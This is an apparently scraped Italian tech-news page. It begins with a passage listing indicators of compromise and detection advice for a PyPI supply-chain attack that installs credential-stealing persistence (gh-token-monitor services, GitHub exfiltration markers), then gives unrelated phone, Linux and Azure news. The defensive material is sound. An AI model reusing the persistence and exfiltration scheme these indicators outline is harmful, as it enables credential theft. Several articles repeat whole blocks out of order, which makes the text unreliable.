I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

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Brave Origin: nuova versione minimalista del browser Brave con sorpresa!


Quando gli utenti di Brave hanno chiesto una versione essenziale del browser, disposti a pagare per un prodotto che rispetta la privacy, il team ha ascoltato. Oggi Brave annuncia il lancio di Brave Origin,...

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Le notizie minori del mondo GNU/Linux e dintorni della settimana nr 23/2026


Ogni settimana, il mondo del software libero e open source ci offre una moltitudine di aggiornamenti e nuove versioni di software. Anche se non tutti sono di grande rilevanza, molti di questi possono risultare...

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One UI 9 già in sviluppo per Galaxy S25: Samsung anticipa i tempi di due settimane


Samsung sta sviluppando One UI 9 con largo anticipo rispetto al previsto. Secondo informazioni trapelate, build interne destinate ai Galaxy S25 sarebbero già in circolazione, con un ritmo di sviluppo che supera di circa due settimane quello registrato lo scorso anno per One UI 8. S25 già nel programma di test, non solo S26 Normalmente, le prime build sperimentali di una nuova versione di One UI vengono destinate ai dispositivi della generazione successiva — in questo caso il Galaxy S26 […]
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Samsung sta sviluppando One UI 9 con largo anticipo rispetto al previsto. Secondo informazioni trapelate, build interne destinate ai Galaxy S25 sarebbero già in circolazione, con un ritmo di sviluppo che supera di circa due settimane quello registrato lo scorso anno per One UI 8.

S25 già nel programma di test, non solo S26


Normalmente, le prime build sperimentali di una nuova versione di One UI vengono destinate ai dispositivi della generazione successiva — in questo caso il Galaxy S26 — per poi espandersi gradualmente ai modelli precedenti. Stavolta, però, le build interne di One UI 9 sarebbero già state avvistate su Galaxy S25 Ultra e sull’intera serie S25, il che suggerisce che Samsung stia ampliando subito il bacino di test.

Beta potenzialmente entro giugno o luglio


Se lo sviluppo procede a questo ritmo, il programma beta pubblico per Galaxy S25 potrebbe aprirsi già tra giugno e luglio. L’anno scorso, il primo beta pubblico di One UI 8 per Galaxy S24 era partito a metà giugno: considerando i due settimane di anticipo accumulati, l’arrivo del beta per S25 potrebbe avvenire prima della fine di giugno.

Sviluppo accelerato o leak più precoci?


C’è però da considerare una variabile: potrebbe non essere lo sviluppo ad essere più veloce, ma semplicemente le informazioni a trapelare prima rispetto all’anno scorso. In ogni caso, il fatto che Galaxy S25 sia già incluso nei test interni di One UI 9 è un segnale positivo per chi ha acquistato il flagship di inizio 2026 e attende con interesse le novità della prossima major release del software Samsung.

Samsung non ha ancora comunicato nulla ufficialmente su One UI 9, né sulle sue funzionalità principali. Ci aspettiamo annunci più concreti in estate, probabilmente in occasione del Galaxy Unpacked dedicato ai pieghevoli.

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Xperia 1 VII in esaurimento: Sony avvicina la fine delle vendite del flagship 2025


L'Xperia 1 VII, flagship Sony del 2025, sta per uscire definitivamente dagli scaffali. Le scorte del dispositivo si stanno esaurendo rapidamente, sia nelle versioni SIM-free che nei canali carrier, segnalando la fine del ciclo commerciale dello smartphone. Scorte agli sgoccioli Il modello SIM-free, venduto sullo store ufficiale Sony, è già completamente esaurito in tutte le configurazioni e colorazioni. Anche i canali di distribuzione carrier stanno progressivamente chiudendo le vendite: […]
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L’Xperia 1 VII, flagship Sony del 2025, sta per uscire definitivamente dagli scaffali. Le scorte del dispositivo si stanno esaurendo rapidamente, sia nelle versioni SIM-free che nei canali carrier, segnalando la fine del ciclo commerciale dello smartphone.

Scorte agli sgoccioli


Il modello SIM-free, venduto sullo store ufficiale Sony, è già completamente esaurito in tutte le configurazioni e colorazioni. Anche i canali di distribuzione carrier stanno progressivamente chiudendo le vendite: sono disponibili solo pochissime varianti residue, e si tratta chiaramente degli ultimi stock rimasti prima dell’esaurimento definitivo.

Il ciclo vita di Xperia si accorcia?


L’Xperia 1 VII era stato lanciato nel 2025 come dispositivo di punta di Sony, con Snapdragon 8 Elite, display OLED 4K a 120Hz e il sistema fotografico Alpha sviluppato in collaborazione con la divisione imaging del gruppo. La fine delle disponibilità a distanza di circa un anno dal lancio è nella norma per il segmento flagship, ma testimonia anche come il mercato Sony sia relativamente di nicchia rispetto ai grandi volumi di Samsung o Xiaomi.

Chi è interessato all’acquisto dell’Xperia 1 VII farebbe bene ad affrettarsi: una volta esauriti gli ultimi stock disponibili, la distribuzione ufficiale cesserà del tutto. L’alternativa sarà il canale del ricondizionato o del mercato grigio, in attesa di scoprire cosa Sony ha in serbo per la prossima generazione Xperia 1.

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Redmi 17 ufficiale a breve: batteria da 7000 mAh e Android 16, il mid-range Xiaomi punta all’autonomia


Il Redmi 17 è sempre più vicino al debutto ufficiale. Nuove certificazioni internazionali hanno confermato l'esistenza del dispositivo e svelato ulteriori dettagli tecnici: il focus principale del prossimo mid-range Xiaomi sembra essere l'autonomia, con una batteria che potrebbe raggiungere i 7000 mAh. Specifiche tecniche emerse finora Stando alle informazioni trapelate, il Redmi 17 si posizionerà come smartphone 5G di fascia entry/mid con un profilo tecnico orientato alla […]
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Il Redmi 17 è sempre più vicino al debutto ufficiale. Nuove certificazioni internazionali hanno confermato l’esistenza del dispositivo e svelato ulteriori dettagli tecnici: il focus principale del prossimo mid-range Xiaomi sembra essere l’autonomia, con una batteria che potrebbe raggiungere i 7000 mAh.

Specifiche tecniche emerse finora


Stando alle informazioni trapelate, il Redmi 17 si posizionerà come smartphone 5G di fascia entry/mid con un profilo tecnico orientato alla praticità:

  • Processore Snapdragon 4 series (fascia entry 5G)
  • Batteria da oltre 7000 mAh
  • Display LCD ad alto refresh rate
  • Fotocamera principale da 50 megapixel
  • Fotocamera frontale da 8 megapixel
  • Android 16 con HyperOS preinstallato


7000 mAh: una scelta sempre più comune nel segmento economico


La tendenza a montare batterie di grande capacità sui dispositivi economici è ormai consolidata nel mercato asiatico e si sta espandendo globalmente. Mentre i flagship si scontrano sul fronte delle performance e delle fotocamere, i mid-range competono sempre più sull’autonomia. Una batteria da 7000 mAh garantirebbe facilmente due giorni di utilizzo intenso, un argomento di vendita potente per chi usa molto lo smartphone.

Presentazione attesa entro giugno


Secondo alcune fonti, la presentazione ufficiale del Redmi 17 potrebbe avvenire già il 18 giugno, insieme al Redmi Turbo 5. La disponibilità internazionale, inclusa quella in Europa, non è ancora confermata ma la tendenza di Xiaomi a distribuire i Redmi su mercati globali fa ben sperare. Restate sintonizzati per aggiornamenti sull’uscita italiana.

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Xperia 1 VIII contro Galaxy S26 Ultra: i benchmark rivelano un divario di prestazioni inaspettato


Sony ha equipaggiato il suo nuovo top di gamma Xperia 1 VIII con lo Snapdragon 8 Elite Gen 5, lo stesso SoC del Galaxy S26 Ultra. Eppure, guardando i benchmark Geekbench, la crescita generazionale dei due dispositivi è tutt'altro che equivalente. I numeri che sorprendono Analizzando la media degli ultimi 25 test Geekbench per ciascun dispositivo e confrontandola con la generazione precedente, emerge un quadro chiaro: Galaxy S25 Ultra → S26 Ultra: +30,6% single-core, +21,8% […]
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Sony ha equipaggiato il suo nuovo top di gamma Xperia 1 VIII con lo Snapdragon 8 Elite Gen 5, lo stesso SoC del Galaxy S26 Ultra. Eppure, guardando i benchmark Geekbench, la crescita generazionale dei due dispositivi è tutt’altro che equivalente.

I numeri che sorprendono


Analizzando la media degli ultimi 25 test Geekbench per ciascun dispositivo e confrontandola con la generazione precedente, emerge un quadro chiaro:

  • Galaxy S25 Ultra → S26 Ultra: +30,6% single-core, +21,8% multi-core
  • Xperia 1 VII → Xperia 1 VIII: +24,5% single-core, +15,8% multi-core

Entrambi i dispositivi guadagnano in prestazioni rispetto alla generazione precedente, ma la differenza è sostanziale: Samsung riesce a sfruttare meglio il salto generazionale del chip, mentre Sony rimane più indietro, in particolare sul multi-core dove si ferma a un modesto +16%.

Perché Xperia “spreca” il chip?


La spiegazione più plausibile riguarda le scelte di design e ottimizzazione termiche. Samsung monta grandi camere di vapore nei suoi flagship e ottimizza il firmware per massimizzare le performance del chip, anche a costo di temperature più elevate. Sony, invece, privilegia un form factor sottile e leggero, dando priorità alla stabilità termica, alla durata della batteria durante le sessioni fotografiche e alla gestione dei consumi. Il risultato è un chip “tenuto a freno” rispetto al suo potenziale teorico.

Un problema di percezione, non solo di numeri


Chi usa lo Xperia 1 VIII nella vita quotidiana non troverà il telefono lento: siamo comunque su uno dei chip più potenti disponibili. Il punto è un altro: con uno Snapdragon 8 Elite Gen 5, ci si aspetta un salto netto rispetto alla generazione precedente, e la percezione di “poca novità” che accompagna l’Xperia 1 VIII trova conferma nei dati di benchmark. Nel frattempo, il Galaxy S26 Ultra amplia ulteriormente il gap prestazionale rispetto al rivale giapponese, un divario che era già presente ma che ora risulta ancora più marcato.

I benchmark non raccontano tutta la storia di uno smartphone — e Xperia 1 VIII resta un dispositivo eccellente per fotografia e multimedia — ma sul piano delle prestazioni pure, Sony ha ancora margini di miglioramento da sfruttare.

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Ardour 9.7: editing più preciso e usabilità migliorata nella DAW open source


Ardour è una stazione audio digitale (Digital Audio Workstation, sigla DAW) completamente open source, libera e multi‑piattaforma, progettata per registrare, modificare e mixare audio e MIDI con un livello di precisione adatto anche agli studi professionali. Nato nel 1999 come progetto di Paul Davis, Ardour...

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GNOME 50.2 e GNOME 49.7: Tutti i Miglioramenti e le Correzioni delle Nuove Versioni


GNOME è uno dei più importanti ambienti desktop liberi e open source, progettato per offrire un’esperienza utente semplice, intuitiva e accessibile. Fin dalla sua nascita, l’obiettivo principale è stato quello di proporre un’interfaccia coerente e facile...

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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


Azure Container Linux (ACL) è ora GA su AKS: un OS immutabile con Integrity Policy Enforcement e dm-verity che elimina il configuration drift e riduce la superficie di attacco nei cluster Kubernetes. Tutto quello che c'è da sapere dagli annunci di Microsoft Build 2026.
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A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026

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Galaxy S27 Pro con batteria da 5000 mAh? I rumor parlano di autonomia superiore all’Ultra


I rumor sul Galaxy S27 Pro si fanno sempre più interessanti. Secondo le ultime indiscrezioni, il modello intermedio della prossima serie flagship Samsung potrebbe montare una batteria da 5000 mAh, la stessa capacità dell'attuale Galaxy S Ultra — e grazie a un display più compatto, potrebbe addirittura superarlo in autonomia reale. Stessa capacità, schermo più piccolo = più durata? Il Galaxy S27 Pro dovrebbe montare un display da circa 6,47 pollici, più compatto di quello […]
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I rumor sul Galaxy S27 Pro si fanno sempre più interessanti. Secondo le ultime indiscrezioni, il modello intermedio della prossima serie flagship Samsung potrebbe montare una batteria da 5000 mAh, la stessa capacità dell’attuale Galaxy S Ultra — e grazie a un display più compatto, potrebbe addirittura superarlo in autonomia reale.

Stessa capacità, schermo più piccolo = più durata?


Il Galaxy S27 Pro dovrebbe montare un display da circa 6,47 pollici, più compatto di quello dell’Ultra. Con pari capienza batteristica ma meno pixel da alimentare, il consumo energetico risulterebbe inferiore, il che si tradurrebbe in una maggiore autonomia nelle sessioni quotidiane. In pratica, chi cerca la massima durata potrebbe trovare nel Pro la scelta vincente rispetto all’Ultra.

Senza S Pen, c’è spazio per la batteria


Come si riesce a infilare una batteria da 5000 mAh in un corpo più compatto? La risposta starebbe nell’assenza della S Pen. I leak precedenti indicano che il Galaxy S27 Pro non includerà lo stilo integrato, liberando lo spazio interno che nei modelli Ultra è destinato al vano di alloggiamento. Quello spazio potrebbe essere rediretto interamente al modulo batteria.

Anche il comparto fotografico punta in alto


I rumor non si fermano alla batteria. Per il Galaxy S27 Pro si parla anche di sensori fotografici identici a quelli dell’Ultra, tra cui il main camera e l’ultra-grandangolare. Se confermato, il Pro diventerebbe a tutti gli effetti un Ultra “senza S Pen e con schermo leggermente più piccolo”, con un rapporto qualità-prezzo potenzialmente molto allettante.

Samsung presenterà la serie Galaxy S27 indicativamente a febbraio 2027. C’è ancora molto tempo prima della presentazione ufficiale, ma se le indiscrezioni si riveleranno accurate, il Galaxy S27 Pro potrebbe diventare il modello più conveniente dell’intera lineup — e non solo un ripiego rispetto all’Ultra.

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Pixel Watch 4: problemi con la connessione LTE, il watch perde il segnale lontano dallo smartphone


Numerose segnalazioni stanno emergendo da parte degli utenti del Pixel Watch 4: il modello LTE di Google presenta un bug che impedisce al dispositivo di agganciare correttamente la rete mobile quando lo smartwatch si allontana dallo smartphone abbinato. Il problema: LTE che non si attiva Il Pixel Watch 4, quando è connesso al telefono via Bluetooth, funziona senza problemi. Ma nel momento in cui l'utente lascia lo smartphone a casa e si affida alla connettività cellulare indipendente, il […]
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Numerose segnalazioni stanno emergendo da parte degli utenti del Pixel Watch 4: il modello LTE di Google presenta un bug che impedisce al dispositivo di agganciare correttamente la rete mobile quando lo smartwatch si allontana dallo smartphone abbinato.

Il problema: LTE che non si attiva


Il Pixel Watch 4, quando è connesso al telefono via Bluetooth, funziona senza problemi. Ma nel momento in cui l’utente lascia lo smartphone a casa e si affida alla connettività cellulare indipendente, il watch non riesce a passare correttamente alla rete LTE. Il risultato è che chiamate e messaggi diventano irraggiungibili, vanificando uno dei punti di forza principali del dispositivo.

In alcuni casi, il problema si manifesta in modo ancora più strano: anche con lo smartphone acceso e funzionante nelle vicinanze, il Pixel Watch 4 mostra il messaggio “connessione con lo smartphone interrotta”, pur essendo fisicamente vicino al telefono.

Soluzioni temporanee: riavvio e modalità aereo


Al momento non esiste una soluzione definitiva. Gli utenti colpiti dal bug hanno scoperto che riavviare il Pixel Watch 4 ripristina temporaneamente la connessione LTE, ma il problema può ripresentarsi. Un’altra workaround segnalata dalla community è quella di attivare e disattivare la modalità aereo direttamente dall’orologio, operazione che in molti casi sblocca la ricezione cellulare.

Non è la prima volta per il Pixel Watch


Il Pixel Watch 4 non è nuovo a problemi software: nei mesi scorsi erano già emersi bug legati al tracciamento del sonno e malfunzionamenti dell’elettrocardiogramma. Il fatto che ora sia coinvolta la connettività LTE — funzionalità core per chi acquista la versione premium — è particolarmente problematico.

Non è ancora chiaro quanti utenti siano effettivamente colpiti dal bug, poiché le segnalazioni provengono principalmente da community online. Google non ha ancora rilasciato dichiarazioni ufficiali né comunicato aggiornamenti correttivi in arrivo. Considerata la natura del problema, tuttavia, è probabile che un fix software arrivi con i prossimi aggiornamenti mensili.

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Il 90% degli utenti vuole cambiare la batteria da solo: la riparabilità torna al centro del dibattito


Una ricerca condotta da PhoneArena ha rivelato qualcosa che molti utenti già sapevano, ma che i produttori sembrano spesso ignorare: la stragrande maggioranza delle persone vorrebbe poter sostituire la batteria del proprio smartphone da sola, senza dover ricorrere a un centro assistenza. I numeri del sondaggio Il sondaggio ha coinvolto circa 3.500 partecipanti con una domanda diretta: "Cambiereste la batteria del vostro smartphone da soli?". I risultati: 88,58% ha risposto sì, purché […]
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Perché la riparabilità è sempre più urgente


I cicli di sostituzione si sono allungati: oggi un utente medio tiene lo stesso smartphone per tre, quattro, anche cinque anni. Google, Samsung e altri grandi marchi garantiscono aggiornamenti software per 5-7 anni. Questo significa che il vero limite alla longevità di uno smartphone è sempre più spesso il degrado della batteria, che cala tipicamente all’80% di capacità dopo due-tre anni di utilizzo intenso.

L’UE spinge verso la riparabilità


Dal 2027, l’Unione Europea imporrà nuove regole sulla riparabilità per alcuni dispositivi elettronici, con l’obiettivo di facilitare la sostituzione delle batterie da parte degli utenti. Tuttavia, gli smartphone con certificazione impermeabile — come Galaxy S e iPhone — potrebbero rientrare nelle eccezioni, limitando l’impatto concreto del regolamento sui modelli più diffusi.

Nonostante queste limitazioni normative, i dati del sondaggio parlano chiaro: il desiderio degli utenti non è tanto quello di tornare alle batterie estraibili di una volta, quanto quello di rendere il processo di sostituzione più semplice e accessibile. Un messaggio che i produttori farebbero bene a non ignorare.

I numeri del sondaggio


Il sondaggio ha coinvolto circa 3.500 partecipanti con una domanda diretta: “Cambiereste la batteria del vostro smartphone da soli?”. I risultati:

  • 88,58% ha risposto sì, purché non servano attrezzi speciali
  • 6,3% ha dichiarato di non tenere lo smartphone abbastanza a lungo da preoccuparsene
  • 5,12% preferisce affidarsi a un tecnico o acquistare un nuovo dispositivo

La domanda, va notato, non chiedeva se si desiderasse una batteria rimovibile nel senso classico del termine, ma semplicemente se si fosse disposti a fare il lavoro da sé. Questo rende il dato ancora più significativo: quasi 9 utenti su 10 vogliono più autonomia nella gestione del proprio dispositivo.

Perché la riparabilità è sempre più urgente


I cicli di sostituzione si sono allungati: oggi un utente medio tiene lo stesso smartphone per tre, quattro, anche cinque anni. Google, Samsung e altri grandi marchi garantiscono aggiornamenti software per 5-7 anni. Questo significa che il vero limite alla longevità di uno smartphone è sempre più spesso il degrado della batteria, che cala tipicamente all’80% di capacità dopo due-tre anni di utilizzo intenso.

L’UE spinge verso la riparabilità


Dal 2027, l’Unione Europea imporrà nuove regole sulla riparabilità per alcuni dispositivi elettronici, con l’obiettivo di facilitare la sostituzione delle batterie da parte degli utenti. Tuttavia, gli smartphone con certificazione impermeabile — come Galaxy S e iPhone — potrebbero rientrare nelle eccezioni, limitando l’impatto concreto del regolamento sui modelli più diffusi.

Nonostante queste limitazioni normative, i dati del sondaggio parlano chiaro: il desiderio degli utenti non è tanto quello di tornare alle batterie estraibili di una volta, quanto quello di rendere il processo di sostituzione più semplice e accessibile. Un messaggio che i produttori farebbero bene a non ignorare.

Una ricerca condotta da PhoneArena ha rivelato qualcosa che molti utenti già sapevano, ma che i produttori sembrano spesso ignorare: la stragrande maggioranza delle persone vorrebbe poter sostituire la batteria del proprio smartphone da sola, senza dover ricorrere a un centro assistenza.

I numeri del sondaggio


Il sondaggio ha coinvolto circa 3.500 partecipanti con una domanda diretta: “Cambiereste la batteria del vostro smartphone da soli?”. I risultati:

  • 88,58% ha risposto sì, purché non servano attrezzi speciali
  • 6,3% ha dichiarato di non tenere lo smartphone abbastanza a lungo da preoccuparsene
  • 5,12% preferisce affidarsi a un tecnico o acquistare un nuovo dispositivo

La domanda, va notato, non chiedeva se si desiderasse una batteria rimovibile nel senso classico del termine, ma semplicemente se si fosse disposti a fare il lavoro da sé. Questo rende il dato ancora più significativo: quasi 9 utenti su 10 vogliono più autonomia nella gestione del proprio dispositivo.

Perché la riparabilità è sempre più urgente


I cicli di sostituzione si sono allungati: oggi un utente medio tiene lo stesso smartphone per tre, quattro, anche cinque anni. Google, Samsung e altri grandi marchi garantiscono aggiornamenti software per 5-7 anni. Questo significa che il vero limite alla longevità di uno smartphone è sempre più spesso il degrado della batteria, che cala tipicamente all’80% di capacità dopo due-tre anni di utilizzo intenso.

L’UE spinge verso la riparabilità


Dal 2027, l’Unione Europea imporrà nuove regole sulla riparabilità per alcuni dispositivi elettronici, con l’obiettivo di facilitare la sostituzione delle batterie da parte degli utenti. Tuttavia, gli smartphone con certificazione impermeabile — come Galaxy S e iPhone — potrebbero rientrare nelle eccezioni, limitando l’impatto concreto del regolamento sui modelli più diffusi.

Nonostante queste limitazioni normative, i dati del sondaggio parlano chiaro: il desiderio degli utenti non è tanto quello di tornare alle batterie estraibili di una volta, quanto quello di rendere il processo di sostituzione più semplice e accessibile. Un messaggio che i produttori farebbero bene a non ignorare.

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OPPO batte Apple: il tandem OLED arriverà prima sugli Android che sugli iPhone


La tecnologia display tandem OLED — già presente sugli iPad Pro con chip M4 — potrebbe sbarcare sugli smartphone Android prima che su iPhone. Secondo le ultime indiscrezioni, OPPO sarebbe in pole position per adottarla, mentre Apple ha scelto di rimandare questa novità almeno fino al 2028. Cos'è il tandem OLED e perché è importante Il tandem OLED impila due strati emissivi nel pannello, ottenendo una luminosità superiore rispetto ai display OLED tradizionali con lo stesso consumo […]
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Apple rimanda, OPPO anticipa


Secondo il media coreano ETNews, Apple avrebbe deciso di non adottare il tandem OLED su iPhone 18 Pro, privilegiando invece la gestione termica del dispositivo. Con l’aumento delle elaborazioni AI e delle prestazioni gaming, il controllo delle temperature è diventato una priorità, e Apple ha scelto di concentrarsi su quello prima di introdurre nuove tecnologie display. La previsione è che il tandem OLED arrivi su iPhone non prima del 2028.

Nel frattempo, il produttore di pannelli cinese BOE starebbe preparando la produzione di massa di display tandem OLED per smartphone, e OPPO sarebbe il primo marchio in trattativa per adottarli su un suo modello flagship.

Un vantaggio competitivo reale


Se OPPO riuscisse effettivamente a portare il tandem OLED su uno dei suoi prossimi flagship — probabilmente un modello della serie Find X — si troverebbe in una posizione di vantaggio rispetto ad Apple su un fronte tecnologico di rilievo. Non è la prima volta che i produttori Android anticipano le scelte di Cupertino: già su ricarica rapida, fotocamere periscopiche e schemi multi-frame, il mondo Android ha fatto da apripista.

Resta da vedere quando e su quale dispositivo OPPO introdurrà questa tecnologia. Ma se i rumor si confermassero, il prossimo flagship del brand cinese potrebbe diventare il riferimento assoluto per la qualità del display tra gli smartphone.

Cos’è il tandem OLED e perché è importante


Il tandem OLED impila due strati emissivi nel pannello, ottenendo una luminosità superiore rispetto ai display OLED tradizionali con lo stesso consumo energetico, e una durata del pannello notevolmente maggiore. Apple l’ha già introdotto sugli iPad Pro con M4, e la sua presenza su uno smartphone segnerebbe un salto di qualità tangibile nelle specifiche display.

Apple rimanda, OPPO anticipa


Secondo il media coreano ETNews, Apple avrebbe deciso di non adottare il tandem OLED su iPhone 18 Pro, privilegiando invece la gestione termica del dispositivo. Con l’aumento delle elaborazioni AI e delle prestazioni gaming, il controllo delle temperature è diventato una priorità, e Apple ha scelto di concentrarsi su quello prima di introdurre nuove tecnologie display. La previsione è che il tandem OLED arrivi su iPhone non prima del 2028.

Nel frattempo, il produttore di pannelli cinese BOE starebbe preparando la produzione di massa di display tandem OLED per smartphone, e OPPO sarebbe il primo marchio in trattativa per adottarli su un suo modello flagship.

Un vantaggio competitivo reale


Se OPPO riuscisse effettivamente a portare il tandem OLED su uno dei suoi prossimi flagship — probabilmente un modello della serie Find X — si troverebbe in una posizione di vantaggio rispetto ad Apple su un fronte tecnologico di rilievo. Non è la prima volta che i produttori Android anticipano le scelte di Cupertino: già su ricarica rapida, fotocamere periscopiche e schemi multi-frame, il mondo Android ha fatto da apripista.

Resta da vedere quando e su quale dispositivo OPPO introdurrà questa tecnologia. Ma se i rumor si confermassero, il prossimo flagship del brand cinese potrebbe diventare il riferimento assoluto per la qualità del display tra gli smartphone.

La tecnologia display tandem OLED — già presente sugli iPad Pro con chip M4 — potrebbe sbarcare sugli smartphone Android prima che su iPhone. Secondo le ultime indiscrezioni, OPPO sarebbe in pole position per adottarla, mentre Apple ha scelto di rimandare questa novità almeno fino al 2028.

Cos’è il tandem OLED e perché è importante


Il tandem OLED impila due strati emissivi nel pannello, ottenendo una luminosità superiore rispetto ai display OLED tradizionali con lo stesso consumo energetico, e una durata del pannello notevolmente maggiore. Apple l’ha già introdotto sugli iPad Pro con M4, e la sua presenza su uno smartphone segnerebbe un salto di qualità tangibile nelle specifiche display.

Apple rimanda, OPPO anticipa


